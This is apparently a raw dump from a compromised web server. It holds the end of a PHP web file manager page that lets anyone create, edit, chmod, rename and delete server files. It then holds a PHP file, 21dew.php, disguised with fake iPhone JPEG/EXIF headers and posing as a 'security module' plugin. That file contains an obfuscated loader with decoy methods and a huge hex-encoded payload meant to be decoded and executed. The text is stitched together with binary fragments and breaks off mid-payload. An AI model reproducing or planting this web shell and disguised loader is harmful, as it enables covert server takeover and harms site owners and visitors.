            <input name="newfolder" placeholder="New Folder Name">
            <button>Create Folder</button>
        </form>

        <!-- Create File Form -->
        <form method="post" style="display:inline-block">
            <input name="newfile" placeholder="New File Name">
            <button>Create File</button>
        </form>

        <table>
            <tr><th>Name</th><th>Size</th><th>Permissions</th><th>Action</th></tr>

            <?php foreach ($files as $f):
                if ($f === '.' || $f === '..') continue;
                $full = $currentDir . '/' . $f;
                $perms = fileperms($full);
                $permission = substr(sprintf('%o', $perms), -4);
            ?>
                <tr>
                    <td>
                        <?php if (is_dir($full)): ?>
                            📁 <a href="?path=<?= urlencode(trim("$path/$f", '/')) ?>"><?= $f ?></a>
                        <?php else: ?>
                            📄 <a href="<?= trim("$path/$f", '/') ?>" target="_blank"><?= $f ?></a>
                        <?php endif; ?>
                    </td>
                    <td><?= is_file($full) ? number_format(filesize($full)) . ' bytes' : '-' ?></td>
                    <td>
                        <form method="post" class="permissions-form">
                            <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($f) ?>">
                            <input type="text" name="chmod" value="<?= $permission ?>" class="chmod-input" placeholder="0755">
                            <button type="submit">Chmod</button>
                        </form>
                    </td>
                    <td>
                        <?php if (is_file($full)): ?>
                            <a href="?path=<?= urlencode($path) ?>&edit=<?= urlencode($f) ?>">
                                <button>Edit</button>
                            </a>
                        <?php endif; ?>

                        <form method="post" style="display:inline">
                            <input type="hidden" name="old" value="<?= htmlspecialchars($f) ?>">
                            <input type="text" name="new" placeholder="New name" style="width:120px">
                            <button type="submit">Rename</button>
                        </form>

                        <form method="post" style="display:inline">
                            <input type="hidden" name="delete" value="<?= $f ?>">
                            <button onclick="return confirm('Delete?')">❌</button>
                        </form>
                    </td>
                </tr>
            <?php endforeach; ?>
        </table>
    <?php endif; ?>
</div>

</body>
</html>PK�:m\} ���@�@	21dew.phpnu�[���ÿØÿà JFIF ,,  AMPFÿá&ÿExif  MM *           ž       ¤              ²       º(       1        Â2       Ê<       Þ       ‡i       ìˆ%      
x  
®Apple iPhone 13 Pro    H      H   17.1.2  2024:02:20 17:25:01 iPhone 13 Pro  %‚š      ®‚      ¶ˆ"       ˆ'     }        0232      ¾      Ґ       æ       î       ö‘      ’ 
     þ’      ’ 

<?php
/* Legacy-Compatible Obfuscated Loader - ID:2366746 */

/*
Description: Enhanced security module
Version: 4.4.19
Plugin Name: SecurePluginllsQUfju55
*/

class LoaderlgGVyM29920 {
    private function dcbvapKn13() {
        $tmp = base64_decode('ZGF0YW95Y0lqVjEz');
        return null;
    }

    private function gtwbAJnN24() {
        // Gate piece 1
        $jv3 = str_rot13('ebgbbBpa90');
        return str_rot13('59xu');
    }

    public function pubyxBrq41() {
        // Public method 1
        if (87 > 50) {
            $tmp = 'branch_a';
        } else {
            $tmp = 'branch_b';
        }
        $tmp = str_rot13('ebgNjkYa54');
        return 'valaiCL30';
    }

    private function gtBpFZGg19() {
        // Gate piece 3
        $tmp = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
        return str_rot13('c2sz');
    }

    public static function init665() {
        // Decode and execute payload
        $hex_data = 'pYIOludjb47d5b7bda4897f50fca45241b12b8aca3ce822aa94a873b904002094302b104bffeab023b31b69cee9e99ef79a667de9e7ea316aada6bafb58ff471ecdbc014b073e6b01369fe345ae0be40a12c61408e1b281dc2fa8002589d32764a64b36f636a6cc9ae5ac7bcf0103b1d8af3e429aa0f113cf390a5ed9c5ea693f02236f3ed74457bf69c5923133e983f2c24e6d1030fa2a6481769b8cbc43e22fd6427797d8c1ebacb62037af50f1f9c1de1ceceddcf3835d74fd9c38238396bbb54881045c6c92375e9cd699f876cf48dc3d101031612080ebe0922420edf2cde3556c429d8d5076ef487e2720a3260b8b939a2f04cf0cc221797ed5d181f3de722119501768d5604d0499138a6188a3533e52e6f8fd26e691e3c562318914b548134368e0edd901536208551eed98fa6bf348d554ceb1f7945fc108db2a5107397e69ecb9c1dea49354759e551388d2df0752ee4778bcb09df553f0a6c62270a1e122ec82ca15f5cbecfd72c18c3cb288fc8d8cb9271b248c851fd7037e06d3063e3bd25f6807595c7e1e4d96793b564c7a794f6bd858c75547501e2532fe1ce01182485915b449b00f9a0f5382fe64830f57b83421a3274fbb6088171b0a4e0cb9d8923b369fd8a8bb4326afd9fc1a64016777c5c4d82243aeeb13ce0689b1716726673d287a809815d91d2bfb821693312c07619c0d177280ba4ee0b01f2fabc42544d2568f1353a1baba8dbf328a1bf08aaf6a1a091fdd4ada20bcb669d4c906108cc9dc28a1a3fa5811588e37a2d4ecfa8052eacb91f0bd78f1e8a9145a4b136c921ba1cdda8ce3c045c82a2c204b5bbb2a232485312ceaa50707e44a03202efd17d9ac172e69abdef54ce13d8358476d3405d647306db9300932a6f3a036eab4bca3a1e1b92c8877cc785bbb6aa9397464ee6b030a50d2fb264c41c8b22f25860f7212fd49faf22b20704328afa2271e0786137a1c1b672193dd4811589190655881ec6ad254b62c566222be2cd01935c2a53a15ce65b9171d3c5cb0b3bfb568ea09cd2e85c507ace361eac16a46ffaa8398e20ca2609247edcf4287dc82030e8de8e721663e0baa0e18c0364f705f3a2c937610468cd41e6ed7214c396b26e847094992e1c2d087c7d5e8ea28a49b00d84859d43cc4769bc298be8ec20b7730f1016732ea7468cfba7193e547fbe5f96d02e5b114a9f57bb6234db8169dad7e36843d637fba8be7b5510cdd2d3c80593557266f9ac6a53127718f27c653dd45edc9cbc326db9b36547284e21bf545f9d682f11929325311e63b2dfe24d96297bf2a8388e8535ad493c99464f2cb76c6158e7f647b8d9ef1d852f6ecc32461de258d7f378567692b14e5d0ab8ef5de12cb155ae3896cbbc71316dc44f58398046616d093742b199499bac660026109436ee84e73c9080d1ca2e092de79d3305ecb05fb09117d36aebc38315376e973f4dc4bc0ffd188a3902067037600fdb82858f466e3f95fe82b582f262c509d801c6be2c3820a1e465b9cd6b75aff60b51069cb69b909d80be7f6b49b6d1a30cec78df38dbea6bba0d7ad89a09ae4e6b111bb3e585a085d5da31e179b62970da3a8d7e5e21f33d6eab04564d8878ff2b8fa5596c4773bbcd3ab831fd9cf4d962979324c9ebfc52a5fafb89b8f433380d691f38b6d1970eaa2cf9d8f833d98942f43b568f0366e45cd987fa523914cd7ecf79b5b12ffb42d6b9cfba7d48a3608ecc69c49fd88a3ee668410c922804c0acd2df2f89eb2277c8c999d77515d149803b670339db2ec55e2e2ef985c0ba934f32483b36a7a00d93d80c3285bdb7f3a5be03eb90c69d44bc70d57dcee543e5ce4cb35cc9e9288570a5f04a7fbfabffa0dde428483f8e0141b17a1eae6a629f27276cf609bc9015490e3bd6743917c142e1699eefa837bf985e099b6cddf0bd278b84d6c2e5d0780eba29679dd8315819e44c947fcb71d47488e0718d09cce02387693c417346fcd7f3f0cfa567d5d98fb9383c85cc51fec8e0a0163e600652f6bbb49bfd7388ddfe8a0742627eee5cb271f616dcc7f656fae985ad31907e24c2343169b0d8911523ce7ccd1c33314efb58bde7ebef55fe23a2c6c11074dcb387e6286036019d4844e298c8800c9fe15444215a4048b9709e202f76411c606512ce8c76ace49383dd8e003d0794b6f039e344f9a38361f1fafa7e8293945e82c4c6a287b227b83b2de445cc325ab9521c8ad7efa7fd6f497b3083d32a7a043e6519c0dcdcb92c041aef1547d8c7164d436b8a95ff25909cfca856e7db36177dbe0b5207944d1cccc0c1bd0844aa83e736a63703b9c2538310a6ec17abf33032e5cf8593f3e9287ac88375d4f5ce66d28535cbc2849e67b5fcb962a2b19a2ee5a28090550542c0965dff94d64d568813cd6b857f46e9605e3c8470fc4d56ac93d2b8da5bdaed6350b941bacd0e5655653c36d308b1f5d20039ef29bde29f75fdbdb3a0858a7d0407d01aca1f49ed3f2abf3ea48970bb985453881a67c158aa7801492ef447048f81e21bd7fbcc934cddbfd086cccd973b815352ac1d9be6f36ed220f58e5cd0805dfdf9f4f7fbb15df5fbfb69fb8d1ab90697ba2048e473d630ce15df68f89ff380faf74e7e5872825fdfcfada616276e276856dbdbae49c0d146eaffc8243793ea08d9c3c4089ef47974d7f7d3f739df5401a927da7e4508a4b2df23838cb8eabeecd6b488a0f1c6bfe9fbfcfa7efa7cb7ee42e251e60b566260a41607bd7b9ecc145e657feef3f53cfed8afb13f272dfb622193d82cf0d4fb1d2d54b5b02de9e0fb5d7f6ff12334a99c57eafe914ee2ae0a016ab4fdada879d860d68f0491bb0fefa7f10537eb39ec77ca87091b1cd33062a690d52ce0c4cbe4a99617fe7cff7e2ff671368480d46748e35f58db86bb84b12cd358fab3be5dc04a3daf73026f63c4948f791207fafebdf9bdcdf757fb7db5374b084ae028c45178885bbe825bda27f164ee8256e301c635593b8865d69ffb7c7d9ebd3becaeefc78b4854d9530a2b7517dc3fe7118d4cbb71f716a65e844774d6b53b587518893e289f2846f1a1badd972bbe00ab1b65311dc501cb4b598d8dd46c46f06c3876f3c77fd0cb644acde612ca633867ee82b0bd031a3677cf06966db60a923657f6afcee3caaf28078aaf19d7efd745a6d1c1be0a6366e2a4e91a740e2ad8b889ba93dc46573ec4d2ddf8f4e7fe4d676edbe7f3f878b028bdda478c9be7602b153fcd7ac23bc50f1a70b33749607ca8bdf644c218b2e8a99d2bbe91a138b02cd0b3a5e21bd1fdef4d611de4b42e7739af535965ca7775e3dff7a5a787e241df17972a3c0da2edd4f72b53d22ad7fc8f28fdf134a3643d6b0fc10cb09de22a04b3518659b0855db8121ba51ca8398ecf592801f4785fbe3ccf892156ef9fd26401c60a523317b3a650784084b97f83f7adf2a38adfc9f67bc60f0a4f0d5f7dbf1a9e9b794a4c12e1e29b651dbf7bfdf4943c358056638b8a60a5ee0b088c50e61f9ed70450940470f610f24099d2f5fd468a77334b9010560426e969227b87713bc839527a06b81902b92d644b7275fe3684b824f7f64bebee1cc2baa05d674a7134fef6fd5e9e37fcfde8c453772924f88a7f755a037dbe17b2eddca8e9b16dd15f57fb6d4f3c7aeaca6453ad7d3ec913736ca792cfca345f816e9aa92ff687efdeec4d01f5d856c4d890863151c271955781f23b84e264dc2272c2f85ce4f4912e56f4e889b64c24cdc3c58e66565f92128e32ba699f7fe301e03b57f3a12a385b1c9a2826590a73acfe1089ecdc14550152dbc899d9d77ff08af9ce456949da7ab3a6974137fa16982fbf97d28dd38796a85b832a9e943cf602535746469f082b7f8e6a91ba7db602afcfe3631b697e75bed947d8c0407dffbda83855efbe1214ee668a8fffc1976a952a5744994b944f3f225ad230769368db7973c24ad8ef63c4cb7c91d025a8e46a051b6f454ebb188ea987142f79e4c115fffad24829dbe00df12c61da900b6663594be858ec91a3509efee033cc8a60cbd477297fbf1fab5ba4389532d2ceccdb57be511d159e02a5173ca030298dd8c86e4b12296d665950f197c2581a7ff05ef1fb95234e89e2a7e3981ed59d733fbedf077f09237b437df9448315e997362c906dfc891f78f14d6f658a1fd1aa995fe307c6418a7a14097583fc2dc8527064b80a3cc5af9e80398e6ef65bfbc103b9dcce1714f3adf4707fe5bbc1bc2a9e2cb34ba3be0815e979f6bbbeb48dd1593f0faa174a498bc3b3d1056c32f76d73affef969cd272310854af3fce1577f7eefe4448949355f20e078f6eb29e2dd64a7ecc320979e5a728a1939ad4bd24d14bfff96d9ac94dbd1da6107456115deb0639a3ff51ee5f0ea8f4a36faa6b441ead7cce784ef726522b31dcc0373a4bed63113601ff27ec469277e41739a400cb88d1dcb2722b7eff079329f8936f04830b15be04486d203dc7c5e90208a95de7ae3df1417ae383ad77564f759b4553616779e5b5539e54ab2558a989da5f3db1ff1fc95afd5cbf6ea7f93044eaa4818ed551f35ee6f7f14b7d3c8def6498a5cbf14fde6958fdff881029bbe58cf949e89cc1ec502006696b52f8c826079a1fd44f13aa565841b32d062f940364affeaef97dff86997b32a074c4167964c43d9435298fbf53a798b2f6d1d34ea7930d4cfdbe8e7c57f9e77fcf0bc3ad4cfcbf4f31857cf33d4f38c6e12f52552dc5dd9c8a95e1aa64d489e077dfd5b2f30d8ebe7fd8a79c7aca720b52f3cc89b53ca5ecfa3eeb9d2332ffce0f80b1847002a46b8c2171f4cadb4135d54579d652902d48310124940f3c2c7af7a8b20bfe9145353fea8073a7e604a63825dc3f45762f2cb923a24330eec577b7bc35f625e2cdef8b7dffaed050fb0adf47b7036569adf87662de6319bdaca3ee680e4a83efcca596f27ac1d59bc3bc34d1f50e5cbb9395ea48fe58e75cdddf7fbc3ffd409c21215e4543af5a8b1604b52e54bd43dfb1154938888deb0a831b12e9d7a18e1b8a2411ab3c612e5d27e321849097be5e37feecb2b7f56fe8d1c01ed9d156adb8dd2834a526415f88cef6e9a8ffc74db7b4266abd024d92a1a75d8ec24ed46583fcffd601f6f9ed7d20c22c8e486cd8adff8f2e7fd345efde193057f8d9f46bb97e719affe7704711c5c2074a4179f848c01f5495fd82c238a8fabf39d7a29ad5625ad6701701a2c8f2e6c64ba4883efbfe39329e860d4819408482a304f22a7517c1ce347262cd87db12e55ee9e73dbdf90af8807cfe4a9f9099ee057e5c3a1f3585ee3259c92e7a06e5366b85dbeab5633d83dda5591a0aef86e47c1091b79a48e855976192e80f4141f8a75bc8456a371beeb43d7ec15a3a926481adf501db8881d6a5b7d3f7dbe821c6768bb5f25b0f7d945b19e5ac8804b82953e4ace62e6e390119679b61134f7fc6f72445200da398ec6bf42fed6bfa612fa5432607353f9f3f4773ce2e57cfb35aa09c24c21d4ae9d2d93a2850fe6b6acab937a98a59f37ebc1d9052524b8341272eae3b3e207a0f6dedb878d8437ab4e05b9f1d37cf5400a611eb122544188af7cf71fe3614952d7fed3a9f5fbf25476c1f91a6f8f1cd38fc103b52851f21a3bb4972b0a5ff1f42e7e70d333377f4e3a23b13781396b430c9e982283fd2bdf9dc5f0b7fefd631fd0c0a01a01c0cdd3a2bd8f1f5cef5f37f1e9c5d943524642beeafdfbf8cbf579f8ee3e53d0b6bf000be142913929157fbe7461d43916b9741447e33debdddf7afa0dbfbac6638bc621330a9359131e2d5aa510389922b6674f044bdad33b3c7d63bf31de529946eabe9022faad3fdee0814f8e2740f680f5fdab3f7aa7dfa40d98a1e3612de3cdd0fb9157bef1e2dff6eafe25b0bada87e5e9f87317687fdeaafbec2bbe76817515dcc73bff3ccf8219c8b7071dcf7e731ebfcf77e3c171cad9b192cda197bb0aa5d05596d0d8587d6b60f0c839c322da82b5db8f3b651fea638024b4dacf9e77fdbd099b6cad646f206caca2aa936053854abf6dec56194a6f86691428fd162adf57c498672bc577aff1e7156c7f28fb9ddacd5e716e678fd971ebd4e392f3a08ca5b145db0e47e6340f5171f27843dd246fd863f589debfbd1fe8463f2d714c942dba3e33b64177b2d4c7bc7b9e028a938e03f8f6a99d31f0d9f3aef1f6a1df4b1f3ec3679e293d9d2597d6cf48cdfe7c3fe233fe121f22ee9e7e163fb8f1a117be7b8d172f2436bd35aef28c884fe239efde2f3a80a41a4da31e2abc220a9feb122811ee693dbdbbe96992d6ffe0df3885d5710d6433fd188f781f2fe1e3389ed80e73a3f825beb6789c84d2084681ac0560fb09843488da4fede33efef7ee3eabdf36802f77fc6ff0fbcd6276c4ed89b22718265110f8bcbee52b8499cf455f7dfafd149f14dd64942ad0c30fa1fd921fbc8f0fe9f783240760229060e8ce7e3f3c6f2c64158c52da7f63765807c640bcc926c9c7f328d2921e72975555ac3cacd5319702e3d9af5844bae9d412a1d20243e7c1ca740b900bda326eeafb78ecf5fd8e6616877fde8f17bff5d66b7ce8953f0393a5eafb95696ccce6ea795c9a764a3e7cbf2368338e2a4261aff014c8829aa5613d76063c1bcabf51ccba0a2afc33b1a9fe56e18b4c9b2c132374c7c7db51a03c631176fb5af94bc8cc36901ff4ea0bdfed1c1f4713a5b7a8bacf66a2f41b2d45b7e4e258636648a51798f26f412895bd81691d57bff329f77ce8228354d906a8044a94dec734d4f1b5d2b2a6feeaad9ed9bdc477c5c99bd70db5cd314d9b72e6d4958e4724b41f7db7e4cbef257ff03e6a4f185f1a1e3dd6ee6fbea6eff34bbe6cd56799c5f63b449599742247d0ddb94cd28465dfd5437bbeabea25ce1ef97954278c11a5075bff913fae58b1c167f3e4a3eef09a6f4c0c9607c26065cc32e761dfcf0898112e4e76352e196023d936660c2555f786f24ea448f97356e7fb597dfab1048760d6b5120010230676fe45cc5383878883ac34cc3d14fb6fa0162bc8a0ce1f6d56b801593d517a9fb9494d2c7051b4240a8e16973fd8e39bf806dbc398740b6f03729654739f42dfe575153d040139672bd893e7b09bc8bb7ce8ed3e03709ef42e0d178a4f12cbce329fc102d60542f8b8f6cfc69c257558c2227399d3224e0366b401338b8907f712dff367db660a14aef95fc78b362588ba91c683dd95ffe163e95f42748de7d8a66268237f66678fb3ade6578d4dcea7dd0ad706ed6b9344a4283b3653a670c7d7eee21b0460ff42b5de27811865a87346be385aa81b290a7bcb87be89bfd0d4903eebb31025a7af50b811b4bb926daba505cc108ba91d56860b2f819bb4a322600122db26f413a362fd2998d7e001c09aa75db04981fbd385a3c3e2e2f4feb6aa85954f643749e7557e5cdfc523fee07dd0e65e08f63f216c359f9c78e77d6435261455d6278dc2bfbea03103334a149f8c8a7354e72b7b4bc5dff4d1effcd145c737e86e4d0e4456d934954d8beb6b7c57f3f1c7391491f3688e83345cc451a084b61bceaa6266374193efa65ef9341a91f470b4b70d0f1ef65570cebeb891e112635f50633455fe7cc29e3ec353fa92cf7bff7e2d0f8dd39ffcd12d1f1021759e961c75f072740911000187115419f8537d493fe143cdb36bec178a6f3fe5ed6804cf26b13941941da1e23d95ddee571fe2611ffcefe40c45eba4ca8cc135de3951d2626446e6c4b06ff1f139ef4654d9efb3ceaf0ef8b74ffd91259badcfdb34ad7a83a4d5c882852360a9ee5f45d19934f68d1ffcb3fe55fc1e5547979aedf78cf19491bd95d26363c5471a77e007e99ac4c2ce2fcbd6f1d33c8bf128cfac8ff7effdfba1baebb3b84e259ceca2963ce1aaa34a6202d20589f2b52636a07abf934f6cb1f6f8780560f1a8f8155fecc8489a6ced3607ee2adb86e20800d4313b300fd914c87af43deadc9f3310b48b78ffe4e1ea515887bb7cf2e07958a732a847df6c13c47033ca003baafb22c1ba1ef5bafe05e243022ed94ed9cdf77937896749f6d97db93eeff3fcd60d0feef233eff90638e89a0a0b77bdce0f0689799cbb7d9b3bcde978ad7ff924fef2fe79f1567918ccbe7bbce65c8eed48dd756fc36d4cc1dcd1bf17141916461819e3dff5577f795eacf8ae4c2281e6557bbd7f316d15bf06b934aff502ec1d1e3c6742f117222f16cf7b0b1bb3a8263c362a44d0beb9e9cb2a8fce2257fc257daf17d6bc890b79f83cfff6e6fd4ad2d7837cf20fbfc241ddb09219b50ee6a46cb4762030167fd7831fe25754e1b3e2bbbe6c83e76bbc134d6abba6903007406628ff36dda8fb3721e053bef6e779aff1fb07c25feb0f06f5c79bdf6bf389470dbab090d3faf4b4c48f9de27f95edc77d46d8c957fec877ce86327be53f6ef9b77ff5fd3ee5e3b7f85afad9fbcdad8f7ccddabde467de3c6f005f667e0b9d35153f819250b099d274e03edfc5ef6ffa83a73198fb7cc4d90638a0068587a59d37a385f29759008feaf2010bd401457d799875212224bcafb7b83e2f3b60338cf139e376ef10b75664a32f3d0f185eb819e58911e09959a042e9198b56ca9fef5d5499d38cf5cba49b7c4ba830e4eee05be284affe5cf176681629b7d9ca7acad150bcee4d7de20e03a55d79715ea23c4d985109e6f6b15523eb96ef4e8972468aaf85e0cc0fcade7026c43d7fbef937edcf5ff060ead88a1fa83b60a5c6e0ef858aee2cc1e510293ce50eefffd473bdd75bb42b511ddee38190bde27feb9488dff1f637e7abce63ec2b0dfec3eec27cf540c38238d6bc6f8b79ddedd4f91268141ee4e0870b460e3d37df63cacce89ce158084059437114d6849eece88a573cb8ff7e7feedf67f1175be97d2b2a5625cc888ed7a5153360dba4787b9ac9ad413c1dbcef9c99f22ee5da225d62143fddf6c066d038c5b45036a5f0eacaef4f2ce9a697dff15d5eff5a727a288c937fd5475bd38b2e6cadf4fe2e8c3a6386a72b0f81223195ddd16e8dd54d8ac95febb92e1e9e74ce8e3c2383af702cc334cd1e7eff5e60acf35df343f17b33a0d05b89c9048b238275b0c7ecf4bc20079d9f79636f6412a2e6d1ab2633d76a9438a57eb465748ec312430a74014fbe2dfcb41dcd4261962ffa1cea7a3dd07767c84270ad67edffaab79205394d312408f7200971ed0939f167edb80cc55169a1bd056bb60655f7c3e7c11f3e7e91b57aeeaf65427fc95d5bcf449e400cb3682b7dbf92129020b24195b867e94922e88cb72004a2b6a4e2183da09a4fbead1f8acec7550a58aaf36f4904f6643b99828b93135c654acf84ca7f8cbc8d6182dee9a9247846fb27171e1b605690e303e5745a297d7e2aa2205b5b472f46231ddf9d90ba73e8a668e3647a8c63fdfd46f9f242724ec78b189303aa463fcb5df50c77a727fbcc52ef091cdcb7feb7bbe57f43306acb08747372bcfab7509436dc9eb2d4ce1e88712a684f9c2bdf7dea53c5b5bf425b3e123449bde4f83847d553fc21fe52624bd4b3a8513f8e0771f4041f6680600b885fe0ec767e139c9d981d60a7f973d694563bb5cf9debd8e0e46cda2092fce72d7eff074f6973c05e6778f6c6a8943eb284cd7f88182c9dce4c3917965d19998b9845da60aece379f1bc71d56f29af5a310d5e35dc8c24456d488a9686073574fa3f4b4f247ddc94da2ca763bb3bcf20d7cfc8a3be3394bfaf01a0fc36c6a53e1812af467e2773dc8f5fde24be72a093f51b796a3b368a26af2ca5f8c193001629d8594bd059b6eb19457beb1c6efe2d9b9c667761ce54dd759d1c48de3fd6b3d438d6848f0e590c99863a5811962d9c856d6e96d46bedcf5e1acad65483ac9994b6352075e5dfd74c82156b2786a71708628cb6465e6bc9bd0c8aa7ad038abfbf86e41312f0a4be13583655a9253e0744ecba1f12d40ced7f0025c7c21f2ca774de3abdd5ff938993590a4bba60c95e68e9ef6f91a56631c4d4fde967c092ec544f1da51f1a0be5ea5f8e4c35dbef1b06c0e5f64c52ea26dc6d1e321b1e200a14e000bab8bd9e6eaefa5afb8c2ca6563a5a3826bbcee4e2f30e7570c294135bb10d6fcf0ab5322aa919f9a648a77d0b9eac14b90d26d7041b2f84ccfcca421b29971329daadf0bdea240972ef49d9931331640f9e4be42f646cc5258625239d8de14076476a9c29732890ffebc322506a51b99f7fee8eff176651f5183103bce2d34ae1356a51ea2596c139d30cf38130aef699e6366b33623a5e27fcafffe04060c5817b8a81e3df9c6214d6153a534db805d251370d4a974d742f5805ee89d1819a9ff4014ffcbac50926c562b5f6e424aab46391e77e78369a1f07e94d07da39ee7a49058184ec224ce2adc06eaf74a9e288cf6f82943c9c7fc42c99a136801c271e5dac0d8fa7dbb4c007bb298ec036b6245cc2591d1631455bb6b7d761cb2f429b7153e97ca9f5b91512b01266c5643ab846331affae780ddc7c36edfafdba24de6c8aa9a809a316d1f710b2388cd95ac46b340075f7a3003ddde53a221539f53fdf4533eefa6bafe0f6036f2d59fdfcef8384d783355df63c36a997ee46bac4c3173dc5eee50e77848fba35db692e67e81fa51b6368e3fa02c53f5cf140c1d9ffc6e5c265bf1c0486758161484f438123adf4d6b0eb5fe90698a4716ed5a48e460bde311c9bd676dab42f1f15f992c22d25566d42a577d26ab2b5feb2a686d9a5128aff5c0c3f7998e4828e59373f5976dc68c6006d97e6b57e32517d77e9247b0c94219ef53588fb08d9d15d4f12b5d9fd8beadf7b9bd9fcd6bcfa275125640f1ae9627a298287df9ecd5ada25bc12f41f31e6e0c1483c6a3a49bdb56d6aa7b1a810826d1b6fe18dfb8c54ff319ac52cb3806ca9fcf10ec7fe5ac567835f153c537d88e06ecb378b61244577fb4693c27a129a9c137b7cd7d5d9f83cc0a0185031c5feb9f735dff2c60d5824d178a46d95445421a4d7e80de5d116ca616122b17482f32f860fc5989ba0ffa83d665ef9e1b945623848d9eb3874c40e58dd1a5cbaf7a46f491e207ba1e2ecb77c13a350a7f561f3357f167403b1b55d300c0ea570872fb9e0f5dfd91c2f32cc066cf7044d324de7b6ed30b540b854bc4bde27debcc9039e57336deff7e1e9f3c0755982662df25ea3cecb3b192acf361ada869146c81b957f676b8d64bb9e478578ff452ff2c9c6a54a35a09dbaa5a8028bbdcea27477d9a14eabe28e3152455df4fb85bf1cb36a0c08f556e6331f3ba10ccead7fac4cff5e067f919cdafdc36cc713ccd844dcba2e92f1854560c890837809056cc5dc5f39cca69186c12587521adabbddb1ca4f21f953adfaf6823428be9d20b875254d6c8a04bf0c841124f820550fea3231654fed2353ecba7e4872c9248d4dade68afc00825ea1d78273c6265676cc015c4412e2ec076442f090c228bb0d2bd049834c57c26ebc465fb2996e5005efd899f2abde059e8a8f5518c2f65c2d868a9e31bba3e165546ea9e0d53e1fd6a0e95c2e2f7fce0bdbe7cc78780e243a318b17c0124c6c054f7c290baff23d1f10dd81601506497560ee94600f7d53e63bc54bee42c68a0c8090da21a381434e95fe3111b07a566355b43733503e200ac4c2abd4a22da3e94e6c87acfc7dfdbaf8d27640ee41a03a0ee8b912860d1f6bb0fc42956b8bdc76da7f0345b632e357fb695bebc2414f6f86c287b6321ef08c451d3e2deb5151f5a25b1811c60a6c3f6fb525fdc142e02fbedfbfe80f7efc7d3635e6c2be089de07c0b00053772e024a7a9cac929e4aa7af6a481d824561011e3c79cd41f10d76d1f606ce4d11c31c03261c857f0634dc04d2b7f5021fe28945089b6fc038ee09804122db9af0ba54f8f764c9498751032c2e10e84c8223c5370c27b5b61a0f3acf634a378089a578689aa587bfe6bbcb7ef24d4af215588a1030001014df6ffd65c781fcfeedfde2cbdbfae2fb78ec5fe24d194ff94528bc5a009a902e53c6c814b082993403f3964f3e3e633922f8e1a5defb433c8758942bdfdc1dcf983b5ef4141e949ec9747d2ca81ce5b76b9cd742d767c3929ab9f66f4a8b03ac7058e3a957299dd2557d64aafb6c556b055616e23a5e5c3ec76c203efe2e5fabeb27eff9e97e6d35a5b1b283dca90fc10a350fa1e876ca998aa89e2cf8b57efce67f2d12a877288af7f50caccfa9c3321f73656ffc902a7eff2d6d1b85577990c282233856f85cec21ed67e8918722169e63f42e80c4b7042bfd0b738439bdab97e7bd5320983db9d114289eb88beafa18f503f9858a1e4a38fa817138092f64e446fbcee2ce7661bbde821559b9b9c6132956df1670e5cf5910b17a7fcdbf8548842cdeab7f0620da4cbee35e2c07ea418eb432dae231304972fa8137863d7f624a2f8c1e1cd97e5f1b7b59b06094c26a72cdbf759d8f9bee3083235dcff0ddef4e3f0a76fcb534c0477f64f57b5b1146cfcaaa201617e594048dc2cbca381c605f3ff8d77a01e12b5d515a56a6e3ed08e250e141eb2b3dbd8480cd303bac16cd47bc0fb745e55d34a79f56792c16e5aea06e5d5d743f0e37e92249880de558c7d7f2e8c22c9def818a0bc7eaa1ce469d4c9bcd423e12a945dfd9dbe1293f67cb95ddcdfc7aff25df641b2faebefb3573e64f452a1ff6b9dd679edf994aa7a93b5b13e95f5c4ff1352be06dacece308c57ec6c9e9a35ee88d4919ed37ce25a8bd9eadfc8783e2d7871f051fb50b4a6c2ed81954c14af1125fddabd95cd272de4f6a6856bee28cea7ce9ce0514b26ef24df9b787bbf83d3f7d7beda7fb845fd58138e473b6af947fd37ac1579ae897a33e07354c9d6f1cc717a3906c8f140e26e8ac702f69e290bb5d09d988182785f7933ffca5068fb81f2b3c6d9eec7a349a37659c986dad780c9455660ad97c8d2e1d4d1973785785641398c83c20f018b037f5e33f946f346274addfc5ae71285d111e8387e647808347d61db73e904434864b947191dffd3315b330db61237f4267c82dab7fd16f85f247e4dabf65d581091ffb9f60e3d8ce4eb90ee8ac68ddedc35826695d5f72587f8dbaae5de82f7e0e1e1cd844fe83fb3083f25476a1aff47b39db06fbf945b1ec38982b7f59047cdcbea95f7b39dfc35288c3c416af7a5f20d271c2edd32452341b6ecae2637e4bcc1911d47de27ed89ccc188e6a581dd56fec776e77d2f1dd4e9d4d066325115867f3fe5a6fb613aff557a8f77d063d00aef9eeb17f71ccdbfd2385e22fdf94aee5419765980ef4d38110c7e78ed3f35ee155b38e373a1e96cde6f81abf9ff1e1fa12dd479961c54f9dea64a595f8a6f5600c74fc0a62d0358ed21f0daec5bd3ffa7b7e415dbda3e1d7f5570e4c03428507670368bdcabb3dd5f12bc561d3d996fa32ae5efab1038cd89e3967e9a5427a2ffe48ddec8611f0a6fedeb8af2fb19a0ed25834d7f869cd59d48de68e8edff3c2b2aba0086aa2dce214af798beff00018c6ec43bcf3562f40d4efb568886194e53025d4e7c73cec743dabc2864b315f1981e2bb7530af1ba8c462aaac0fd396dec59bfe3caff36c4ceb192d857dce3d111533dd7fa9eb23409f017c51f78566ab99717c9fdffaf16ff29760771c81b33ccc36c57e864b3684a7d7df8b743d9cf24720d8a43669f156990bdb73bfae203a1726549747c0b22fb8f14ccf872ebc80cb005f1bccf70ce4039ea08011ba945c114e751eba6fc751bf37cf5d85a7b4d5f1d3ee2ffcb91ae1a47ee9cf6b5d7e9e9cfd6bfd95c12c74f8241f7ffbbd3e393ab01bad626a541ec853ab65979474f84fff96f2e1b6f949be96917cc3d4f577d5397f52af777b3f6e6f32a5568ece6bbe9177bdee87fd99c6c0bed55b287b1bca7fbcaba77ea33ff8407ce3b37ec91f6ecb5fe601dcd51f7cecffbdcbd71e921857a1c3a6d9ad9fee1a2ff99518621e1a66eaf4ee1ed1ce8575a05cd178a05e4facb8c203b40907eb45ff03fe45102b3cd00336604dd039507e9547d116b268ab7c31087d9bf07f536f164970ac9216f6ac334452010599c257de53e98f634ae4477e9f6d74ff7e9559e2b0d6fdecd1a30170e764e0da7f1eae4435fe65f169cf13f5c15eea1d43149c2d1932fcd8fdf16fefea6d3dde96735e9ddee4676ef3463a1d8f2db6eef6e85bb2c60cbdd4aff52e471753a6b1e48b1b3edba03a86f9a6a08ab7ce8aee6d3fb6a1ef8b1f75a1a086338d9aa3613f4027df8aa3e25d5fd34d73c23b334797b6b0bbde5edce58f58f93b9efd2e7f1454d2e6ace917b269c143cd2dfe1adf755ef2e75d9977ce2feb32edbc8d3189ba2208b1f29724b8e68fca6dbe6775